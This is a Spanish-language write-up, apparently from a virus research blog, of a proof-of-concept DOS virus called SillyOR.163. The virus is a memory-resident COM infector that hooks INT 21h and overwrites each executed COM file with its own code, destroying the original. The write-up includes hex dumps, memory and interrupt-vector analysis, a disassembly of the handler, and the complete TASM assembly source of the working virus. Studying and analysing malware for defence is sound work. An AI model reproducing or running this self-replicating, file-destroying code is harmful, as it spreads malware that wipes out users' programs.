Prueba de concepto de virus en la plataforma x86/DOS con estrategia de infección por overwriting (sobrescritura) en archivos COM. El virus permanece residente en memoria convencional como un programa TSR normal. Intercepta los servicios I/O de DOS para infectar archivos luego de ser ejecutados.

Método de infección

El virus simplemente sobrescribe otros archivos COM con el código viral. Es la estrategia más primitiva, pero es muy agresiva y destructiva. Todas las generaciones del virus son idénticas.

Generalmente nada se preserva de los archivos huéspedes ya que son destruidos por la sobrescritura. La desinfección consiste en eliminar todos los archivos infectados.

Residencia en memoria

El virus permanece residente en el rango de memoria convencional (por debajo de 640KB - segmento A000) como un programa TSR (Terminate and Stay Resident) normal mediante el servicio 27h provisto por DOS. Durante la infección, el virus reconoce si ya se encuentra residente mediante un servicio propio en la interrupción 21h.

Método de propagación

El virus modifica el handler original de la interrupción 21h cambiando el vector del handler en la IVT (Interrupt Vector Table) para interceptar las llamadas a los servicios I/O de DOS. Esto tiene dos objetivos:

  • Proveer un servicio de reconocimiento propio para saber si ya se encuentra residente en memoria.
  • Detectar las ejecuciones de archivos en el sistema para infectarlos luego de que estos terminan su ejecución normal.

Flujo de ejecución

Al ejecutarse un archivo infectado, el virus se hace residente en memoria y modifica la IVT:

Cuando el virus ya es residente en memoria, intercepta todas las llamadas a la interrupción 21h:

Análisis estático

Hex dump de un archivo sano de tamaño 80 bytes:

Offset  00 01 02 03 04 05 06 07  ANSI
0x0000  B4 09 BA 39 01 CD 21 90  ´.º9.Í!.
0x0008  90 90 90 90 90 90 90 90  ........
0x0010  90 90 90 90 90 90 90 90  ........
0x0018  90 90 90 90 90 90 90 90  ........
0x0020  90 90 90 90 90 90 90 90  ........
0x0028  90 90 90 90 90 90 90 90  ........
0x0030  90 90 90 90 90 B4 00 CD  .....´.Í
0x0038  21 54 68 69 73 20 69 73  !This is
0x0040  20 61 20 68 6F 73 74 20   a host 
0x0048  66 69 6C 65 21 0D 0A 24  file!..$

Hex dump del archivo infectado:

Offset  00 01 02 03 04 05 06 07  ANSI
0x0000  B8 CD AB CD 21 3D 9A 02  ¸Í«Í!=š.
0x0008  75 04 B4 00 CD 21 B4 35  u.´.Í!´5
0x0010  B0 21 CD 21 89 1E A3 01  °!Í!‰.£.
0x0018  8C 06 A5 01 B4 25 B0 21  Œ.¥.´%°!
0x0020  BA 2A 01 CD 21 BA AD 01  º*.Í!º..
0x0028  CD 27 3D CD AB 74 0A 3D  Í'=Í«t.=
0x0030  00 4B 74 09 2E FF 2E A3  .Kt..ÿ.£
0x0038  01 B8 9A 02 CF 9C 2E FF  .¸š.Ïœ.ÿ
0x0040  1E A3 01 9C 2E 8F 06 A7  .£.œ...§
0x0048  01 50 53 51 52 56 1E 8B  .PSQRV.‹
0x0050  F2 AC 0A C0 74 28 3C 2E  ò¬.Àt(<.
0x0058  75 F7 AC 3C 43 75 1F AC  u÷¬<Cu.¬
0x0060  3C 4F 75 1A AC 3C 4D 75  <Ou.¬<Mu
0x0068  15 B4 3D B0 02 CD 21 72  .´=°.Í!r
0x0070  11 93 0E 1F B4 40 B9 A3  .“..´@¹£
0x0078  00 BA 00 01 CD 21 B4 3E  .º..Í!´>
0x0080  CD 21 1F 5E 5A 59 5B 58  Í!.^ZY[X
0x0088  2E 8F 06 A9 01 2E 8F 06  ...©....
0x0090  AB 01 9D 2E FF 36 A7 01  «...ÿ6§.
0x0098  2E FF 36 AB 01 2E FF 36  .ÿ6«..ÿ6
0x00A0  A9 01 CF                 ©.Ï

Análisis dinámico

Se considera un archivo infectado VTEST.COM en un ambiente MS-DOS 6.22, Microsoft Virtual PC 6.0 con VM Additions.

Uso de memoria

Antes de la infección
Resultado de MEM /C:

Name           Total       =   Conventional   +   Upper Memory
  --------  ----------------   ----------------   ----------------
  MSDOS       16,157   (16K)     16,157   (16K)          0    (0K)
  SETVER         480    (0K)        480    (0K)          0    (0K)
  HIMEM        1,120    (1K)      1,120    (1K)          0    (0K)
  DISPLAY      8,304    (8K)      8,304    (8K)          0    (0K)
  CDROM        4,224    (4K)      4,224    (4K)          0    (0K)
  COMMAND      2,928    (3K)      2,928    (3K)          0    (0K)
  SMARTDRV    29,024   (28K)     29,024   (28K)          0    (0K)
  KEYB         6,944    (7K)      6,944    (7K)          0    (0K)
  FSHARE      26,576   (26K)     26,576   (26K)          0    (0K)
  IDLE           528    (1K)        528    (1K)          0    (0K)
  MSCDEX      32,096   (31K)     32,096   (31K)          0    (0K)
  MOUSE        8,880    (9K)      8,880    (9K)          0    (0K)
  Free       516,976  (505K)    516,976  (505K)          0    (0K)

Memory Summary:
  Type of Memory       Total   =    Used    +    Free
  ----------------  ----------   ----------   ----------
  Conventional         654,336      137,360      516,976
  Upper                      0            0            0
  Reserved                   0            0            0
  Extended (XMS)    15,663,104    2,162,688   13,500,416
  ----------------  ----------   ----------   ----------
  Total memory      16,317,440    2,300,048   14,017,392
  Total under 1 MB     654,336      137,360      516,976

Después de la infección
Resultado de MEM /C:

Name           Total       =   Conventional   +   Upper Memory
  --------  ----------------   ----------------   ----------------
  MSDOS       16,157   (16K)     16,157   (16K)          0    (0K)
  SETVER         480    (0K)        480    (0K)          0    (0K)
  HIMEM        1,120    (1K)      1,120    (1K)          0    (0K)
  DISPLAY      8,304    (8K)      8,304    (8K)          0    (0K)
  CDROM        4,224    (4K)      4,224    (4K)          0    (0K)
  COMMAND      2,928    (3K)      2,928    (3K)          0    (0K)
  SMARTDRV    29,024   (28K)     29,024   (28K)          0    (0K)
  KEYB         6,944    (7K)      6,944    (7K)          0    (0K)
  FSHARE      26,576   (26K)     26,576   (26K)          0    (0K)
  IDLE           528    (1K)        528    (1K)          0    (0K)
  MSCDEX      32,096   (31K)     32,096   (31K)          0    (0K)
  MOUSE        8,880    (9K)      8,880    (9K)          0    (0K)
  VTEST          608    (1K)        608    (1K)          0    (0K)
  Free       516,368  (504K)    516,368  (504K)          0    (0K)

Memory Summary:
  Type of Memory       Total   =    Used    +    Free
  ----------------  ----------   ----------   ----------
  Conventional         654,336      137,968      516,368
  Upper                      0            0            0
  Reserved                   0            0            0
  Extended (XMS)    15,663,104    2,162,688   13,500,416
  ----------------  ----------   ----------   ----------
  Total memory      16,317,440    2,300,656   14,016,784
  Total under 1 MB     654,336      137,968      516,368

La presencia del virus es evidente como la de cualquier programa TSR, por lo cual es fácil de detectar. Ocupa 608 bytes de espacio en memoria convencional.

Resultado de MEM /M VTEST:

Segment  Region       Total        Type
  -------  ------  ----------------  --------
   0218A                160    (0K)  Environment
   02194                448    (0K)  Program
                   ----------------
  Total Size:           608    (1K)

Como es típico, un programa en memoria ocupa al menos dos bloques contiguos, el primero (218A) tiene una copia de los datos de entorno, y el segundo (2194) tiene el PSP, código y datos del programa. Una posible mejora del virus es liberar el bloque de datos de entorno ya que no son utilizados y así ocupar menos espacio.

El código viral tiene en memoria un tamaño de 173 B (163 B de código + 10 B reservados para datos), a esto se le suma el PSP con 256 B, por esto el segundo bloque requiere en total 429 B, pero por el alineamiento en párrafos (16 B) el próximo múltiplo de 16 es $\lceil\frac{429}{16}\rceil \times 16 = 432 B$. Además, cada bloque tiene un MCB correspondiente de 16 B, por lo tanto el bloque 2194 tiene un tamaño total de 448 B.

Handler de 21h

La IVT ocupa los primeros 1024 bytes de memoria RAM, segmento 0000.
El vector de la interrupción 21h es la dirección de memoria del handler en forma de 4 bytes segmento:offset, este se encuentra en el offset 84h de la IVT.

Antes de la infección
Hex dump de los 4 bytes del vector 21h:

-D 0000:0084 L4                                  
0000:0080              E1 20 04 11

El handler original de 21h se encuentra en 1104:20E1.

Después de la infección
Hex dump de los 4 bytes del vector 21h:

-D 0000:0084 L4
0000:0080              2A 01 95 21

El vector ya no es el mismo.

Desensamblado del handler referenciado por el nuevo vector:

-U 2195:012A
2195:012A 3DCDAB       CMP      AX,ABCD      ; inicio del handler viral
2195:012D 740A         JZ0139                   
2195:012F 3D004B       CMP      AX,4B00                            
2195:0132 7409         JZ       013D                               
2195:0134 2E           CS:	                                   
2195:0135 FF2EA301     JMP      FAR [01A3]                 
2195:0139 B89A02       MOV      AX,029A                            
2195:013C CF           IRET	                                   
2195:013D 9C           PUSHF	                                   
2195:013E 2E           CS:	                                   
2195:013F FF1EA301     CALL     FAR [01A3]   ; llamada al handler original
2195:0143 9C           PUSHF	                                   
2195:0144 2E           CS:	                                   
2195:0145 8F06A701     POP      [01A7]                             
2195:0149 50           PUSH     AX  

Hex dump de 4 bytes en 2195:01A3:

-D 2195:01A3 L4
2195:01A0              E1 20 04 11           ; el vector original de 21h

API utilizada

Se utilizan 6 servicios de la DOS API mediante la interrupción de software 21h.

Servicio AH Parámetros Retorno Versión DOS
Terminar programa 00h - - 1+
Establecer vector en IVT 25h AL = número de interrupción DS:DX = puntero al nuevo handler de la interrupción 2+
Obtener vector de IVT 35h AL = número de interrupción ES:BX = puntero al handler de la interrupción 2+
Abrir archivo existente 3Dh AL = modos de acceso e intercambio
DS:DX -> nombre del archivo (ASCIZ)
Éxito: CF = 0, AX = handle del archivo
Error: CF = 1, AX = código de error
2+
Cerrar archivo 3Eh BX = handle del archivo Éxito: CF = 0, AX destruido
Error: CF = 1, AX = código de error
2+
Escribir en archivo
o dispositivo
40h BX = handle del archivo
CX = nro. de bytes
DS:DX -> datos a escribir
Éxito: CF = 0, AX = nro. de bytes escritos
Error: CF = 1, AX = código de error
2+

Se utiliza la interrupción 27h (DOS 1.x) para crear programas TSR.

Interrupción 27h Parámetros Retorno Versión DOS
Terminar programa y dejar porción residente en memoria CS = segmento de PSP
DX = dirección más alta a ocupar en memoria
- 1+

Código fuente

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
;##############################################################################  
;# Nombre:        virus://DOS/SillyOR.163  
;# Plataforma:    Intel x86  
;# SO:            DOS v2.0+  
;# Lenguaje:      ASM x86-16 (sintaxis Intel)  
;# Herramientas:  TASM v4.1, TLINK v7.1.30  
;# Tipo:          Overwriting, Resident, COM infector  
;# Tamaño:        163 bytes  
;# Propagación:   En archivos COM luego de ser ejecutados (INT 21h - AH=4B).  
;# Infección:     Sobrescritura de archivos COM (no READ-ONLY).  
;# Residente:     Si. Dentro de la memoria convencional (0-640KB), en la  
;#                zona baja del sistema.  
;# Stealth:       No  
;# Payload:       No  
;##############################################################################

.8086  
.model tiny

assume cs:virus, ds:virus

virus segment byte public 'CODE'

    org 100h

start:     
    mov ax, 0ABCDh                    ; | AX = 0ABCDh  
    int 21h                           ; |_DOS API - Llamar servicio de reconocimiento del virus
                    
    cmp ax, 029Ah                     ; verificar código de respuesta  
    jne infect_int21h                 ; si no es 666 (29Ah), infectar INT 21h
                    
    mov ah, 00h                       ; | AH = 00h  
    int 21h                           ; |_DOS API - Retornar a DOS 

infect_int21h:     
    mov ah, 35h                       ; | AH = 35h  
    mov al, 21h                       ; | AL = número de interrupción, 21h  
    int 21h                           ; |_DOS API - Obtener vector en ES:BX
                    
    mov [vector_int21], bx            ; guardar vector original de INT 21h  
    mov [vector_int21 + 2], es
                    
    mov ah, 25h                       ; | AH = 25h  
    mov al, 21h                       ; | AL = número de interrupción, 21h  
    mov dx, offset handler_int21h     ; | DS:DX -> dirección del nuevo handler: handler_int21h  
    int 21h                           ; |_DOS API - Cambiar vector
    
                                      ; | CS = segmento de PSP  
    mov dx, offset eof                ; | DX = Tamaño de porción residente (bytes)  
    int 27h                           ; |_DOS API - Termina el programa y lo deja en memoria 

handler_int21h:     
    cmp ax, 0ABCDh                    ; llamada de verificación del virus:  
    je service_ABCD                   ; responder y retornar  
    cmp ax, 4B00h                     ; llamada para ejecutar archivo:  
    je infect_file                    ; infectar y delegar  
    jmp dword ptr cs:[vector_int21]   ; en otro caso, delegar al handler original de INT 21h 

service_ABCD:     
    mov ax, 029Ah                     ; código de respuesta: 666 (29Ah)  
    iret                              ; retornar de la interrupción

infect_file:    
    pushf  
    call dword ptr cs:[vector_int21]  ; simular INT 21h para ejecutar archivo

    pushf  
    pop cs:[ret_EFLAGS]
    
    push ax                           ; guardar registros que serán utilizados  
    push bx  
    push cx  
    push dx  
    push si  
    push ds  
                                      ; por la llamada AX=4B00h, DS:DX apunta al nombre del archivo  
    mov si, dx                        ; verificar que sea extensión ".COM"  
    
loop_str:     
    lodsb  
    or al, al  
    jz close_file  
    cmp al, '.';  
    jne loop_str  
    lodsb  
    cmp al, 'C';  
    jne close_file  
    lodsb  
    cmp al, 'O';  
    jne close_file  
    lodsb  
    cmp al, 'M'  
    jne close_file 
    
    mov ah, 3Dh                       ; | AH = 3Dh  
    mov al, 2                         ; | AL = 2, lectura y escritura  
    int 21h                           ; |_DOS API - Abrir archivo existente 
    
    jc exit                           ; si no se puede abrir archivo, restaurar y delegar  
    xchg ax, bx                       ; handle de archivo en BX
    
    push cs  
    pop ds                            ; MOV DS, CS
    
    mov ah, 40h                       ; | AH = 40h  
    mov cx, VIRUS_SIZE                ; | CX = tamaño del virus  
    mov dx, offset start              ; | DS:DX -> origen: inicio del código viral  
    int 21h                           ; |_DOS API - Escribir en archivo/dispositivo

close_file:     
    mov ah, 3Eh                       ; | AH = 3Eh  
    int 21h                           ; |_DOS API - Cerrar archivo 

exit:     
    pop ds                            ; restaurar registros  
    pop si  
    pop dx  
    pop cx  
    pop bx  
    pop ax 
    
    pop cs:[ret_IP]  
    pop cs:[ret_CS]  
    popf
    
    push cs:[ret_EFLAGS]  
    push cs:[ret_CS]  
    push cs:[ret_IP]  
    iret

VIRUS_SIZE      equ  ($ - start)      ; tamaño del virus  
vector_int21    dw   ?, ?             ; vector original de INT 21h (4 bytes)  
ret_EFLAGS      dw   ?                ; registro de estado del CPU  
ret_IP          dw   ?                ; puntero a la instrucción de retorno  
ret_CS          dw   ?                ; segmento de código de retorno 

eof:                                  ; fin de porción residente para TSR

virus ends  
end start  

Bibliografía

  1. Szor, P. (2005). The Art of Computer Virus Research and Defense (2nd ed.). Addison-Wesley Professional.
  2. Williams, D. (1992). Programmer’s Technical Reference for MSDOS and the IBM PC.
  3. Phalcon-Skism. 40-Hex.